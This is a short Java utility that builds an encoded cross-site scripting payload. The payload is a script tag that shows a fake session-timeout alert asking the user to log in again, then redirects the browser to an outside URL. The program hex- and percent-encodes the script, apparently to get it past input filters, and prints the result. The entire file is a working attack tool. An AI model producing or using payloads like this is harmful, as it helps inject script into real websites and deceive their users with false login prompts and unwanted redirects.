import java.math.BigInteger; /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ /** * * @author mark */ public class GenerateHtmlHex { public static void main(String[] args) { String plain = "<script>alert('Session timed out. Please log in to continue.');window.location='https://i.chzbgr.com/maxW500/4554986496/hF3327748/'</script>"; String hex = String.format("%040x", new BigInteger(1, plain.getBytes())); String htmlHex = hex.replaceAll("(..)", "\\%$1").toUpperCase(); System.out.println(htmlHex); } }